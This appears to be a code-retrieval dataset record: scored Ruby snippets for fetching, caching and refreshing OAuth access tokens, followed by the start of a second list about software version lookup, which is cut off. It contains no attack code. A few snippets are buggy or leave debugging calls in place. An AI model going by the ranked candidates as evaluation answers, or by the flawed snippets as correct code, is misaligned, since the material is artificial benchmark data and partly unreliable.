[ { "docid": "ed4ab75ed78839c0f95ba562243e3427", "score": "0.7461248", "text": "def valid_token\n access_token = find_or_create_doorkeeper_access_token\n create_doorkeeper_access_token if access_token.expired? || access_token.revoked?\n access_token\n end", "title": "" }, { "docid": "af534b9b7610be638c5da2b316c3dd29", "score": "0.7173546", "text": "def get_token\n if @token && @valid_until && @valid_until > Time.now + 10\n @token\n else\n renew_token\n end\n end", "title": "" }, { "docid": "3c384f06babdd0d25bfd3e05ab34ed16", "score": "0.7063295", "text": "def fresh_token\n refresh! if expired?\n access_token\n end", "title": "" }, { "docid": "831a5e14cbc85d7ba67b1614bb18d968", "score": "0.7061396", "text": "def ensure_token\n if self.token_expiration and Time.now > self.token_expiration\n self.token = nil\n end\n self.token ||= self.generate_token\n self.token_expiration = Time.now + 1.day\n self.save\n return self.token\n end", "title": "" }, { "docid": "07e1c5b83d62b7c2ca7346323a4d797e", "score": "0.7043385", "text": "def fresh_token\n refresh! if token_expired?\n access_token\n end", "title": "" }, { "docid": "b903cec60cf699b348b2fda8f8b8ffa9", "score": "0.68759394", "text": "def refresh_token_if_needed\n token_timestamp = decoded_jwt['exp']\n current_timestamp = DateTime.now.to_i\n return unless token_timestamp - current_timestamp <= 0\n\n refresh_token\n end", "title": "" }, { "docid": "945b185d9539a2b09321ca5ce3b9b13f", "score": "0.6875209", "text": "def auth_token\n return regenerate_auth_token if expired?\n\n authentication.auth_token\n end", "title": "" }, { "docid": "2c38a19ba92d6c2447e8b097161f1b0c", "score": "0.67499816", "text": "def refreshToken\n # is there a token? (and is it's timestamp not older than 24h?)\n if @token.nil? or @tokenTimeStamp < Time.now - 86400\n @token = getToken(@email,@password)\n @tokenTimeStamp = Time.now\n end\n end", "title": "" }, { "docid": "1abac90e312ea727b618e8c94b783cbf", "score": "0.6748132", "text": "def token_expired\n @token.nil? || Time.now >= @token_expires_on + expiration_threshold\n end", "title": "" }, { "docid": "072a6e8e1a1a354618de8b0d38628d21", "score": "0.674042", "text": "def create_or_renew_token()\n calculate_expiry_time()\n end", "title": "" }, { "docid": "214821097a4016a6b82a6c0823408f4b", "score": "0.6716137", "text": "def access_token\n # Synchronization is needed, otherwise race condition may ensue:\n # Let's assume token has expired, and two threads ask for a new token.\n # Both proceed to fetch the token from remote server, both return,\n # but the first token is no longer valid.\n MUTEX.synchronize do\n token = Nordea::Siirto.redis.get(KEY)\n return token if token\n\n Nordea::Siirto.log('Requesting new access token...')\n payload = response.body\n\n token = payload['access_token']\n expires_in = payload['expires_in'] - EXPIRATION_BUFFER\n Nordea::Siirto.redis.set(KEY, token)\n Nordea::Siirto.redis.expire(KEY, expires_in)\n\n token\n end\n end", "title": "" }, { "docid": "1d6ec0d806be0bff6c7eea4e4c48f375", "score": "0.6700426", "text": "def token\n return create_token_object.token if token_object.nil? || Time.now - token_object.updated_at > MAX_TOKEN_AGE\n token_object.token\n end", "title": "" }, { "docid": "85fc0578f995ba36ea0e88cae7dab62c", "score": "0.6671972", "text": "def fetch_or_refresh\n refresh_from_store\n fetch_and_write if client.expired?\n client.access_token\n end", "title": "" }, { "docid": "b56d3ba92f5bf967dff5251692f6734c", "score": "0.65316325", "text": "def get_token\n begin\n @response = RestClient.post(\n @consumer[:token_request_url],\n client_id: @consumer[:client_id],\n client_secret: @consumer[:client_secret],\n grant_type: @consumer[:grant_type],\n resource: @consumer[:resource]\n )\n\n @consumer[:token] = 'Bearer ' + JSON.parse(@response)['access_token']\n @consumer[:token_expiry] = JSON.parse(@response)['expires_on']\n rescue => error\n puts(\"ERROR - Token Request Failed - #{error}\")\n end\n @consumer[:token]\n end", "title": "" }, { "docid": "ec1cfc396818c2e5eb54cb3da2fa0f65", "score": "0.653039", "text": "def token\n refresh_token! if token_expired?\n super\n end", "title": "" }, { "docid": "a02be8d8794c782512560187ec83c561", "score": "0.64756197", "text": "def retrieve_token!\n body = request_token\n # Refresh our token early so that it won't expire while a request is in-flight. We expect 15m\n # expirys for tokens but are careful not to trim the expiry by too much, just in case\n expires_in = body['expires_in'].seconds\n if expires_in - AUTH_TOKEN_PREEMPTIVE_EXPIRY_MINUTES > 0\n expires_in -= AUTH_TOKEN_PREEMPTIVE_EXPIRY_MINUTES\n end\n token = \"#{body['token_type']} #{body['access_token']}\"\n Rails.cache.write(AUTH_TOKEN_CACHE_KEY, token, expires_in: expires_in)\n token\n end", "title": "" }, { "docid": "7735b07052725c8647694c5813037b04", "score": "0.64286315", "text": "def get_new_access_token\n now = Time.now\n params = {\n body: {\n grant_type: 'urn:ietf:params:oauth:grant-type:uma-ticket',\n ticket: retrieve_ticket,\n client_id: key_info['oxtrust_client_id'],\n client_assertion_type: 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer',\n client_assertion: generate_json_web_token(now),\n scope: 'oxtrust-api-read oxtrust-api-write'\n }\n }\n req = HTTParty.post('https://localhost/oxauth/restv1/token', params)\n if req.code == 200\n token = req['access_token']\n save_access_token(token, now.to_i + 86_400)\n token\n else\n Puppet.err(\n \"Gluu API HTTP #{req.code}: #{req['error_description']}\",\n )\n end\n end", "title": "" }, { "docid": "5974601537564f9f5b1abe5dbf7937b6", "score": "0.64068896", "text": "def call\n api_key = ApiKey.find_by(access_token: @expired_token)\n\n if api_key.present?\n api_key.refresh\n api_key.save\n\n {\n token: api_key.access_token\n }\n else\n raise ExceptionService.new('Invalid Token.')\n end\n end", "title": "" }, { "docid": "a733992ad651e38fb35dd49623c8826d", "score": "0.640454", "text": "def token\n refresh_token if needs_token_refresh?\n return @token\n end", "title": "" }, { "docid": "c0f2230e5b723da9b5ead3f1f07f7862", "score": "0.6389705", "text": "def token\n @token ||= begin\n token = redis_client.token\n\n return token if token.present?\n\n resp = client.token\n\n Oj.load(resp.body)&.fetch('access_token').tap do |access_token|\n redis_client.save_token(token: access_token)\n end\n end\n end", "title": "" }, { "docid": "9d280ddfc97e578da14e3c79af1ba976", "score": "0.63663924", "text": "def get_token (params)\n client = OAuth2::Client.new(params[:APP_ID], params[:APP_SECRET], :site => params[:OAUTH_URL])\n\n begin\n token = client.password.get_token(params[:USER_EMAIL], params[:USER_PASSWD], :scope => params[:SCOPE]).token\n rescue => e\n puts \"Error: Can't get oauth token, check credentials for '#{params[:NAME]}'\"\n puts \"#{e.message}\"\n abort \"Aborting script\"\n end\n return token\nend", "title": "" }, { "docid": "cd7870cb03e00628a7d97e962b822bab", "score": "0.6348035", "text": "def token_expired?\n self.expires < Time.zone.now.to_i\n end", "title": "" }, { "docid": "7968a18448c4153d88bc18d35d017b55", "score": "0.634777", "text": "def get_access_token\n raise HyvesException, 'You need an request token to make get an access token' if request_token.nil?\n @access_token = request_token.get_access_token\n\n @userid = request_token.response[\"userid\"]\n @expiredate = Time.at(request_token.response[\"expiredate\"].to_i) if not request_token.response[\"expiredate\"].nil?\n\n @access_token\n end", "title": "" }, { "docid": "cd133b3d5008a4c34c882aeb411287b2", "score": "0.6330092", "text": "def get_access_token\n auth = storage['authentication']\n return auth['access_token'] if auth && auth['expires'] > Time.now.to_i\n\n auth = authenticate_client\n storage['authentication'] = auth\n auth['access_token']\n end", "title": "" }, { "docid": "b2a47023e894dd8f6017678658e1f21c", "score": "0.63297004", "text": "def access_token\n # Fetch from cache. We can expect this to be `nil` if unset or expired.\n #\n access_token = read_cache\n\n return access_token if access_token\n\n fetch_new_access_token\n end", "title": "" }, { "docid": "24d5f57f13a371b660058a7390691f72", "score": "0.63166493", "text": "def access_token\n refresh! if access_token_expires_at&.<= Time.now + 60 # time drift margin\n @access_token\n end", "title": "" }, { "docid": "9b4ff0e7c99277e9de4063b90f403e97", "score": "0.63141805", "text": "def valid_access_token\n\t\t\t\t# The token we have stored is expired - fetch a new one using the refresh token\n\t\t\t\tself.refresh_access_token if self.access_token_expired?\n\n\t\t\t\tself.access_token\n\t\t\tend", "title": "" }, { "docid": "9f1a8863c35e8816035bdc525057415d", "score": "0.63116425", "text": "def maybe_reauthenticate\n if @keystone_token_expiration < Time.now + 2*@timeout\n @logger.info \"Permanent token will expire soon. Re-authenticating...\"\n authenticate\n end\n end", "title": "" }, { "docid": "168b5a6005ddac359582e716b353877e", "score": "0.6304516", "text": "def get_token(timestamp = nil)\n self.class.get_token(@secret, timestamp)\n end", "title": "" }, { "docid": "1c2b3ca30a5d6781345b2c1893a04ce3", "score": "0.6301197", "text": "def get_ticket_granting_ticket\n if tgt_expired?\n # It's expired, so we're going to start this process by resetting the state\n clear_ticket_state\n\n response = RestClient.post(Rails.configuration.x.umls.umls_auth_base_url, { username: Rails.configuration.x.umls.username, password: Rails.configuration.x.umls.password })\n if response.code != 201 # expect a 201/Created response\n return nil\n end\n\n # The actual ticket response is a URL that we pull from the location. The body has an HTML form,\n # which we don't want to have to parse.\n @ticket_granting_ticket = response.headers[:location]\n @last_updated = Time.now.to_i\n end\n\n @ticket_granting_ticket\n end", "title": "" }, { "docid": "b9c14cea83da40b934540133c407a108", "score": "0.62891144", "text": "def valid_access_token\n self.access_token_expired? ? self.refresh_access_token : self.access_token\n end", "title": "" }, { "docid": "7fb0fd7df94dd7a1ba8f9c256f74855b", "score": "0.62843907", "text": "def last_authorized_token_for(application_id, resource_owner)\n authorized_tokens_for(application_id, resource_owner)\n .ordered_by(:created_at, :desc)\n .first\n end", "title": "" }, { "docid": "c4ddba558b8e30b39771c41d054ee656", "score": "0.6277157", "text": "def current_token(key)\n Token.where(\"expiration >= ?\", Time.now).find{|t| t.key == key}\n end", "title": "" }, { "docid": "d427ab2b62fc14e3bcf8e7b9f32a7c1d", "score": "0.6260683", "text": "def lock_token\n env['HTTP_LOCK_TOKEN'] || nil\n end", "title": "" }, { "docid": "d3520d49085480a5047449b8a91f45b3", "score": "0.6258415", "text": "def token_expired?\n @token.nil? || Time.now >= @token_expires_on + expiration_threshold\n end", "title": "" }, { "docid": "fcaabbb4d6076c315b043ccb33086509", "score": "0.625665", "text": "def validate_token_hash\n if @token_request_at and\n @token_hash and @token_hash['expires_in'] and\n (Time.now - @token_request_at) > @token_hash['expires_in'].to_i\n @token_hash = nil\n elsif @token_request_at and\n @token_hash and @token_hash['expires_in']\n @token_hash['access_token']\n else\n puts \"start get token ...\"\n end\n end", "title": "" }, { "docid": "c2f3fcbf00da2f483896141c7bb2e997", "score": "0.6251573", "text": "def authentication_token\n if session[:authentication_token]\n if DateTime.now >= session[:expires_at]\n refresh_token\n else\n session[:authentication_token]\n end\n else\n nil\n end\n end", "title": "" }, { "docid": "e83f93cca8b4ed1d2ff80a1dc3e469e9", "score": "0.6251532", "text": "def refresh_token\n get_comm_token if Time.now.to_i - @comm_token_ttl > TOKEN_TTL\n end", "title": "" }, { "docid": "e83f93cca8b4ed1d2ff80a1dc3e469e9", "score": "0.6251532", "text": "def refresh_token\n get_comm_token if Time.now.to_i - @comm_token_ttl > TOKEN_TTL\n end", "title": "" }, { "docid": "8d544cebc2654846de6720376346b3b4", "score": "0.6250971", "text": "def refresh_token()\n if @access_token_obj\n @access_token_obj.refresh_token\n else\n return nil\n end\n end", "title": "" }, { "docid": "378afdd04b38bb8bfddebc45aefe454f", "score": "0.62429607", "text": "def is_token_expired?\n (Time.now - self.updated_at) > 3300\n end", "title": "" }, { "docid": "d9c0974647f275d85aafb4e4497e4a6d", "score": "0.6239581", "text": "def v2_token\n @v2_token ||= begin\n request = http_client.put(\"/latest/api/token\", nil, { 'X-aws-ec2-metadata-token-ttl-seconds': \"60\" })\n if request.code == \"404\" # not on AWS\n nil\n else\n request.body\n end\n end\n end", "title": "" }, { "docid": "df4b9bce703a0c88d62e91a8632d1170", "score": "0.6233368", "text": "def valid_token\n return access_token if access_token && !expiring?\n return access_token if request_access_token\n raise 'No valid access token.'\n end", "title": "" }, { "docid": "530035a376e353e2dbee4f313f861c48", "score": "0.6227208", "text": "def latest_refresh_token\n credentials.refresh_token\n end", "title": "" }, { "docid": "7fec6f3c49a6695ebb1b2783efd2320e", "score": "0.6209787", "text": "def get_token\n session[:token] if authorized?\n end", "title": "" }, { "docid": "d0108b63c487fe9f25868f8e088d7483", "score": "0.6206046", "text": "def access_token\n api_key.access_token rescue \"\"\n end", "title": "" }, { "docid": "96895d298cbf2da12e7b8211f794c9b5", "score": "0.61982846", "text": "def access_token_expired?\n Time.zone.now >= self.expires_at\n end", "title": "" }, { "docid": "96895d298cbf2da12e7b8211f794c9b5", "score": "0.61982846", "text": "def access_token_expired?\n Time.zone.now >= self.expires_at\n end", "title": "" }, { "docid": "9d18e0278d9acb0b0d8029df19290354", "score": "0.6195361", "text": "def retrieve_missing_token_info\n response = JSON.parse @token.get('/oauth/token/info').body\n\n if response['error']\n response['hint'] = 'Reauthorization may be required.'\n @token = response\n else\n time_left = response['expires_in_seconds']\n @token.instance_variable_set '@expires_at', (Time.now.to_i + time_left)\n end\n end", "title": "" }, { "docid": "56b92e7b884685528eba1bf33843d970", "score": "0.6192225", "text": "def access_token; self; end", "title": "" }, { "docid": "f5b276029575efe80b0fb3b7cb0cc4ec", "score": "0.61911845", "text": "def facebook_access_token(options={})\n if current_user\n manager = self.store.managers.find_by_user_id(current_user)\n if manager.nil?\n unless current_user.admin?\n logger.error \"***** unathorized access by user #{current_user.id}\"\n end\n nil\n else\n manager.facebook_access_token\n end\n else\n self.store.managers[0].facebook_access_token\n end\n end", "title": "" }, { "docid": "9dc64d681fd90c32bae5c9ad7bf048d7", "score": "0.6187624", "text": "def valid_access_token\n self.access_token_expired? ? self.refresh_access_token! : self.access_token\n end", "title": "" }, { "docid": "c04fec923ce5cfd0fddad5ec0f383646", "score": "0.617846", "text": "def token\n client.token if client\n end", "title": "" }, { "docid": "82f50e380eb85b199b3826796f846be1", "score": "0.61651665", "text": "def token\n Rails.cache.read(AUTH_TOKEN_CACHE_KEY) || retrieve_token!\n end", "title": "" }, { "docid": "38dcc36d413d10155ef95610e5b26715", "score": "0.61492866", "text": "def token_expired?\n return true\n expires_at < Time.now if expires_at?\n end", "title": "" }, { "docid": "f15c67fa4e1046856fd52b79626e062b", "score": "0.61466986", "text": "def token\n return @access_token if @access_token && !needs_refresh?\n\n update_access_token\n @access_token\n end", "title": "" }, { "docid": "481ddd92471d4a0fc25baf620f3b6b09", "score": "0.6138701", "text": "def aquire_token\n token_data = server.call(\"acquire_token\", @config['account_code'], @config['password'], @config['provider_key'])\n status = token_data[0]\n @token = token_data[1]\n if (is_error(status)) \n error_message = decode_error(status)\n raise \"Unable to aquire token. Reason: #{error_message}\"\n end\n @token\n end", "title": "" }, { "docid": "094647ef580d8e91e3bbceb653971fbf", "score": "0.61222255", "text": "def refresh_token\n self.generate_token\n end", "title": "" }, { "docid": "21a3d0e0f9c423b9446d9545aad68342", "score": "0.6121806", "text": "def token_expiration_window\n # TODO - configurable per tenant\n 72\n end", "title": "" }, { "docid": "cdc82fe29be57bf34d04251e82dc3765", "score": "0.6120743", "text": "def token_generate\n res = call('auth.token_generate')\n\n return unless res || res['token']\n\n res['token']\n end", "title": "" }, { "docid": "7122d3eac0508b0e2a7d13db18e8eaa6", "score": "0.6113514", "text": "def token\n authenticated\n end", "title": "" }, { "docid": "11a8228679bdb2a12b312bc449071995", "score": "0.6111807", "text": "def access_token()\n if @access_token_obj\n @access_token_obj.token\n else\n return nil\n end\n end", "title": "" }, { "docid": "7d4c51e777feccc0eb861a9ad0ec1fa9", "score": "0.6108165", "text": "def isTokenExpired\n if Time.now.to_i - @access_token_timestamp >= access_token_expires\n puts \"had to reauthenticate\"\n self.authenticate\n end\n end", "title": "" }, { "docid": "4ac17ec4738c4b06e268c88f2b525b02", "score": "0.61056054", "text": "def fetch_token\n response = RestClient.get \"https://#{Autoscout24Client.config[:username]}:#{Autoscout24Client.config[:password]}@sts.idm.telekom.com/rest-v1/tokens/odg\", {:accept => :json}\n JSON.parse(response)[\"token\"]\n end", "title": "" }, { "docid": "49f659f8edd6fcbd1b06edbe3cff17d4", "score": "0.61037326", "text": "def check_token\n # Return if there are no tokens\n return if session['oauth_token'].nil?\n\n # If the token is older than two weeks, delete it\n if session['created_at'] < (Time.zone.now - 2.weeks).to_i\n clear_credentials\n return\n end\n\n # Make API request to renew the token\n url = URI('https://login.zype.com/oauth/token')\n raw_response = make_login_request(url, refresh_token: session['refresh_token'], grant_type: 'refresh_token')\n\n # Check if response is successful\n unless raw_response.is_a?(Net::HTTPSuccess)\n clear_credentials\n return\n end\n\n # Try to parse the response\n parsed_response = parse_response(raw_response, 'check_login')\n\n # If the response cannot be parsed, there is something wrong, but the parsing\n # functions logs the error, shows an alert to the user and redirects\n unless parsed_response\n clear_credentials\n return\n end\n\n # Set tokens on session\n # TO DO: Persist it, maybe in Redis\n session['oauth_token'] = parsed_response['access_token']\n session['refresh_token'] = parsed_response['refresh_token']\n end", "title": "" }, { "docid": "04a3e8780ecad6ea4f39021eda4a629a", "score": "0.6099958", "text": "def get_token\n LastFM.get( \"auth.getToken\", {}, :secure )\n end", "title": "" }, { "docid": "7b8c397fc409bc85f352afa65056a6ce", "score": "0.6099789", "text": "def token\n @token ||= begin\n token = redis_client.get\n\n return token if token.present?\n\n resp = chip_client.token\n\n Oj.load(resp.body)&.fetch('token').tap do |jwt_token|\n redis_client.save(token: jwt_token)\n end\n end\n end", "title": "" }, { "docid": "0ab1bbbc44ee822be001917d471ad520", "score": "0.60927457", "text": "def token\n @token ||= Rails.cache.fetch('osu_api_token', expires_in: 23.hours) do\n logger.debug(\"Fetching new OAuth2 Token from OSU API : #{@url}\")\n json = post(url_encoded_connection,\n ENV.fetch(OSU_API_OAUTH2_TOKEN),\n client_id: @key,\n client_secret: @secret,\n grant_type: 'client_credentials')\n json['access_token']\n end\n end", "title": "" }, { "docid": "6c32345bdcc572574470a6277b7faf40", "score": "0.6057923", "text": "def authenticate\n token_id = AuthenticateUser.new(auth_params[:email], auth_params[:password]).user.token_id\n token = Token.find token_id\n if token.created_at < Time.now - 1.hour\n raise(\n ExceptionHandler::InvalidToken,\n (\"#{Message.expired_token} #{e.message}\")\n )\n end\n json_response(token: token.token)\n end", "title": "" }, { "docid": "cb5194ccf9ad2725d6787e4293a2c6e5", "score": "0.6052828", "text": "def auth_token\n return token if token.present?\n\n false\n # raise(CustomException::MissingToken, 'token is missing')\n end", "title": "" }, { "docid": "3e4f2461deaba734992b55aa4e73b9bf", "score": "0.60436296", "text": "def access_token_expires\n return nil unless (temp_access_token_expires = read_attribute(:access_token_expires))\n # logger.debug2 \"temp_access_token_expires = #{temp_access_token_expires}\"\n encrypt_remove_pre_and_postfix(temp_access_token_expires, 'access_token_expires', 44).to_i\n end", "title": "" }, { "docid": "3e4f2461deaba734992b55aa4e73b9bf", "score": "0.60436296", "text": "def access_token_expires\n return nil unless (temp_access_token_expires = read_attribute(:access_token_expires))\n # logger.debug2 \"temp_access_token_expires = #{temp_access_token_expires}\"\n encrypt_remove_pre_and_postfix(temp_access_token_expires, 'access_token_expires', 44).to_i\n end", "title": "" }, { "docid": "f2db1c82ce76182971b1f77b014b013e", "score": "0.60433435", "text": "def get_new_token\n binding.pry \n auth = 'Basic ' + Base64.strict_encode64( session[:client_id] +\":\"+session[:client_secret]).chomp\n \n rcResultJson = RestClient.post(\n session[:token_url],\n {\n grant_type: 'refresh_token', \n refresh_token: session[:refresh_token], \n },\n {\n :Authorization => auth\n }\n )\n rcResult = JSON.parse(rcResultJson)\n\n session[:patient_id] = rcResult[\"patient\"]\n session[:access_token] = rcResult[\"access_token\"]\n session[:refresh_token] = rcResult[\"refresh_token\"]\n session[:token_expiration] = Time.now.to_i + rcResult[\"expires_in\"].to_i \n rescue => exception\n binding.pry \n err = \"Failed to refresh token\"\n redirect_to root_path, flash: { error: err }\n end", "title": "" }, { "docid": "8b7570f890e1946a8662780ef841199f", "score": "0.6030575", "text": "def get_token(params = {}, opts = {})\n hash = build_request(params)\n @client.get_token(hash, opts.merge('refresh_token' => nil))\n end", "title": "" }, { "docid": "be7bceda2ed451b728dbcc5271cf64f1", "score": "0.6029006", "text": "def generate_token(auth_token, expire_dt)\n return \"Authentication token required\" if auth_token.nil?\n return \"Expiration date required\" if expire_dt.nil?\n Digest::SHA1.hexdigest([expire_dt, auth_token].join)\n end", "title": "" }, { "docid": "9258973030e00575f4a1e99934232f98", "score": "0.60223854", "text": "def token\n unless defined?(@token)\n @token = {\n 'id' => self.catalog['token']['id'],\n 'expires' => Time.parse(self.catalog['token']['expires'])\n }\n @token['tenant'] = self.catalog['token']['tenant']['id'] if self.catalog['token']['tenant']\n end\n @token\n end", "title": "" }, { "docid": "e17be99c6c0e2cfbf09f0ef00c1ca8e5", "score": "0.60181123", "text": "def authenticate\n # if valid_access_token?\n # fetch_access_token\n # else\n get_new_access_token\n # end\n end", "title": "" }, { "docid": "fb89d5cd9941a6ccd896e2e6e698dfd2", "score": "0.6016769", "text": "def authToken(secretkey)\n # get 'authToken', {secretkey: secretkey} { |x| x['authToken'] }\n new_auth_token\n end", "title": "" }, { "docid": "bed6a86103ef0f29c37620547bfad999", "score": "0.6001762", "text": "def new_jwt\n Knock::AuthToken.new(payload: { sub: current_user.id }).token\n end", "title": "" }, { "docid": "a8e51cd628218a8a81d7d1ec52e41a85", "score": "0.59967804", "text": "def expired_token_generator_admin(admin_id)\n JsonWebToken.encode({ admin_id: admin_id }, (Time.now.to_i - 10))\n end", "title": "" }, { "docid": "d54fb3b6a94f02ad1dcdc2da8614ddbc", "score": "0.59954125", "text": "def token\r\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\r\n\r\n # allows our tests to pass\r\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\r\n\r\n if bearer.present?\r\n bearer.split.last\r\n else\r\n nil\r\n end\r\n end", "title": "" }, { "docid": "1494702ae47f548070b53acbef4f3dbc", "score": "0.59948146", "text": "def token\n\t\t@token = ApiKey.find_by_user_id(self.id)\n\t\tif @token == nil\n\t\t\t\treturn ApiKey.create!(user: self)\n\t\telse\n\t\t\t\treturn @token\n\t\tend\n\tend", "title": "" }, { "docid": "dd7c2b4d653193ed6b921ab242205272", "score": "0.59911335", "text": "def fb_access_token_expired\n self.access_token = nil\n save!\n end", "title": "" }, { "docid": "2d6e376a93b678d4bbe1a0156bce4c4b", "score": "0.5989862", "text": "def token\n item = read\n return item['token'] if item['token']\n token_reset\n read['token']\n end", "title": "" }, { "docid": "cf3f6d89afc93253288368e94a08b587", "score": "0.59810567", "text": "def access_token_was_refreshed; end", "title": "" }, { "docid": "822d4375a72f7260b6def5c3a845b5aa", "score": "0.5978888", "text": "def test_feature_refresh_token_for_expired_oauth_token\n # Setup\n opts = {\n 'email' => @user.email,\n 'expires_in' => 3\n }\n\n @user = setup_user(opts)\n\n sleep(opts['expires_in'])\n\n # Step 1\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n\n get '/me', {}, headers\n assert_response(@response, :client_error)\n\n # Step 2\n @user.acquire_refreshed_oauth_token\n\n # Step 3\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n\n get '/me', {}, headers\n assert_response(@response, :success)\n end", "title": "" }, { "docid": "524754219fc78c6e87f13385c808dcde", "score": "0.5971983", "text": "def update_token\n\trequire 'date'\n\ttil = Time.at(settings.exp) - Time.now\n\tleft = (til/60).to_i\n\tp left\n\tif left < 5\n\t\tres = RestClient.post( \"https://auth.exacttargetapis.com/v1/requestToken\",\n\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t:clientId => settings.clientId,\n\t\t\t\t\t\t\t\t:clientSecret => settings.clientSecret,\n\t\t\t\t\t\t\t\t:refreshToken => settings.refreshToken,\n\t\t\t\t\t\t\t\t:accessType => \"offline\"\n\t\t\t\t\t\t\t })\n\t\t@res = JSON.parse(res)\n\t\tsettings.oauthToken = @res[\"accessToken\"]\n\t\tsettings.exp = Time.now + @res[\"expiresIn\"]\n\t\tsettings.refreshToken = @res[\"refreshToken\"]\n\tend\t\nend", "title": "" }, { "docid": "d4af9f203c89091837bc4ba9f9c0243f", "score": "0.5971366", "text": "def getSession_Token(corpNum)\n targetToken = nil\n refresh = false\n\n # check already cached CorpNum's SessionToken\n if @token_table.key?(corpNum.to_sym)\n targetToken = @token_table[corpNum.to_sym]\n end\n\n if targetToken.nil?\n refresh = true\n else\n # Token's expireTime must use parse() because time format is hh:mm:ss.SSSZ\n expireTime = DateTime.parse(targetToken['expiration'])\n serverUTCTime = DateTime.strptime(@linkhub.getTime(@useStaticIP, @useGAIP))\n refresh = expireTime < serverUTCTime\n end\n\n if refresh\n begin\n # getSessionToken from Linkhub\n targetToken = @linkhub.getSessionToken(ServiceID_REAL, corpNum, @scopes, @ipRestrictOnOff ? \"\" : \"*\", @useStaticIP, @useGAIP)\n\n rescue LinkhubException => le\n raise KakaocertException.new(le.code, le.message)\n end\n # append token to cache hash\n @token_table[corpNum.to_sym] = targetToken\n end\n\n targetToken['session_token']\n end", "title": "" }, { "docid": "f1dc2347afad82f9bbf026df6d543dc3", "score": "0.59627753", "text": "def token\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\n\n # allows our tests to pass\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\n\n if bearer.present?\n bearer.split.last\n else\n nil\n end\n end", "title": "" }, { "docid": "f1dc2347afad82f9bbf026df6d543dc3", "score": "0.59627753", "text": "def token\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\n\n # allows our tests to pass\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\n\n if bearer.present?\n bearer.split.last\n else\n nil\n end\n end", "title": "" }, { "docid": "2edf870be22fde50d30ea3478356574c", "score": "0.5961164", "text": "def get_new_token\n auth = 'Basic ' + Base64.strict_encode64( session[:client_id] + \":\" + session[:client_secret]).chomp\n \n rcResultJson = RestClient.post(\n session[:token_url],\n {\n grant_type: 'refresh_token', \n refresh_token: session[:refresh_token], \n },\n {\n :Authorization => auth\n }\n )\n rcResult = JSON.parse(rcResultJson)\n\n session[:patient_id] = rcResult[\"patient\"]\n session[:access_token] = rcResult[\"access_token\"]\n session[:refresh_token] = rcResult[\"refresh_token\"]\n session[:token_expiration] = (Time.now.to_i + rcResult[\"expires_in\"].to_i )\n rescue StandardError => exception\n # binding.pry \n err = \"Failed to refresh token: \" + exception.message\n redirect_to root_path, alert: err\n end", "title": "" }, { "docid": "f52851856c202a8f284a764713e99ddd", "score": "0.59552646", "text": "def refresh_token\n end", "title": "" }, { "docid": "e45186991e2c541775f493cfbed7e79f", "score": "0.5953878", "text": "def doorkeeper_user\n @doorkeeper_user ||= User.find(doorkeeper_token[:resource_owner_id])\n end", "title": "" }, { "docid": "d72f411802b133cf88533d5f4ec13dfb", "score": "0.59413975", "text": "def get_access_token\n\t\treturn @credentials.get_access_token\n\tend", "title": "" }, { "docid": "b1233d5dfeeaabf814c624471fd043d4", "score": "0.59397304", "text": "def remote_oauth_token\n token = client_application.client_credentials.get_token(:scope => SCOPE_FOR_A_SERVICE_TO_TALK_TO_AUTHORIZATOR_SERVICE)\n raise Response::Error::AccessToken.new(data:(token && token.params)) if (!token or token.token.empty?)\n token\n end", "title": "" }, { "docid": "806bea8bbfc2228eebb388587cc071e1", "score": "0.59387654", "text": "def refresh_token\n return if token\n refresh_token!\n end", "title": "" }, { "docid": "5fe3c83d43b7ceb888982e72143a69c7", "score": "0.59343016", "text": "def auth_token\n auth_token_for(DEFAULT_AUTH_TOKEN_KEY)\n end", "title": "" }, { "docid": "f64239a5d0c8801be8e831de6b344a86", "score": "0.5933694", "text": "def get_token\n with_monitoring do\n conn = Faraday.new(\n \"#{Settings.veteran_readiness_and_employment.auth_endpoint}?grant_type=client_credentials\",\n headers: { 'Authorization' => \"Basic #{Settings.veteran_readiness_and_employment.credentials}\" }\n )\n\n request = conn.post\n JSON.parse(request.body)['access_token']\n end\n end", "title": "" }, { "docid": "8fa10b8e9c3d1d258d7711b39cdf7166", "score": "0.5929366", "text": "def access_token_expired?\n\t\taccess_token_expires_at && access_token_expires_at < Time.zone.now\n\tend", "title": "" } ]
5daa026cdfcbfbddedcb8f7a40f691b3
Get the version of the software result:: [String] or nil
[ { "docid": "f84b258831f5b879a04fa4cfe783425a", "score": "0.0", "text": "def version\n first_element_text('version')\n end", "title": "" } ]
[ { "docid": "08f2bd48218a7c6c005978788d569404", "score": "0.73453075", "text": "def software_version\n ref_call :get_software_version\n end", "title": "" }, { "docid": "c09b7e9451739751394867a1a9162b8f", "score": "0.725875", "text": "def get_version\n return @version unless @version.nil?\n\n aicc = connection.discover_aicc\n @version = aicc.first.appliance['version'] if aicc.present?\n version_parser = @version.match(/^(?:(\\d+)\\.?(\\d+))/).to_s if @version.present? # getting just major and minor version\n end", "title": "" }, { "docid": "5dc127fa7cc6c63693051d6a026764f9", "score": "0.71761984", "text": "def full_version\n _, *v = *ua.match(VERSIONS.fetch(id, VERSIONS[:default]))\n v.compact.first || \"0.0\"\n end", "title": "" }, { "docid": "5aff70259eca816aeede91a9e1d5383b", "score": "0.7175033", "text": "def installed_version\n return \"\"\n res = self.get_option(\"version_installed\")\n unless res.present? # fix for old installations\n res = self.settings[\"version\"]\n self.installed_version= res\n end\n res\n end", "title": "" }, { "docid": "77a6c2018f2907e36ee0f78afa2366f8", "score": "0.71413404", "text": "def software_version\n #device_info.blank? ? \"\" : device_info.software_version\n info = DeviceInfo.find(:first, :conditions => \"device_id = #{id}\", :order => \"created_at desc nulls last, id desc\") \n #if info.nil?\n # info = DeviceInfo.find(:first, :include => :mgmt_response, :conditions => \"device_id = #{id}\", :order => \"mgmt_responses.timestamp_server desc\")\n\t\t#end\n\t\tinfo ? info.software_version : \"(not reported)\"\n end", "title": "" }, { "docid": "43f8049cf3b118216013a2037cabd8b3", "score": "0.71256554", "text": "def full_version\n _, v = *ua.match(VERSIONS.fetch(id, 